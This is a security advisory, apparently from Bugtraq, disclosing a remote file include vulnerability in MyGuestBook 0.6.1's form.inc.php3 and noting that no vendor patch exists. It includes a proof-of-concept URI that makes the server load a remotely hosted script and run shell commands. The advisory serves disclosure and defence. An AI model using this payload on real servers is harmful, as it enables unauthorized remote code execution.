MyGuestbook Form.Inc.PHP3 Remote File Include Vulnerability

Bugtraq ID:	14155
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 05 2005 12:00AM
Updated:	Jul 05 2005 12:00AM
Credit:	SoulBlack Security Research is credited with the discovery of this vulnerability.
Vulnerable:	MyGuestBook MyGuestBook 0.6.1
Not Vulnerable:

MyGuestbook Form.Inc.PHP3 Remote File Include Vulnerability

MyGuestbook is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

MyGuestbook Form.Inc.PHP3 Remote File Include Vulnerability

No exploit is required.

The following proof of concept URI is available:
http://www.example.com/gb/form.inc.php3?lang=http://www.example.com/cmd.gif?&cmd=id;uname%20-a;uptime

MyGuestbook Form.Inc.PHP3 Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

MyGuestbook Form.Inc.PHP3 Remote File Include Vulnerability

References:

• MyGuestbook Remote File Inclusion ("[email protected]" )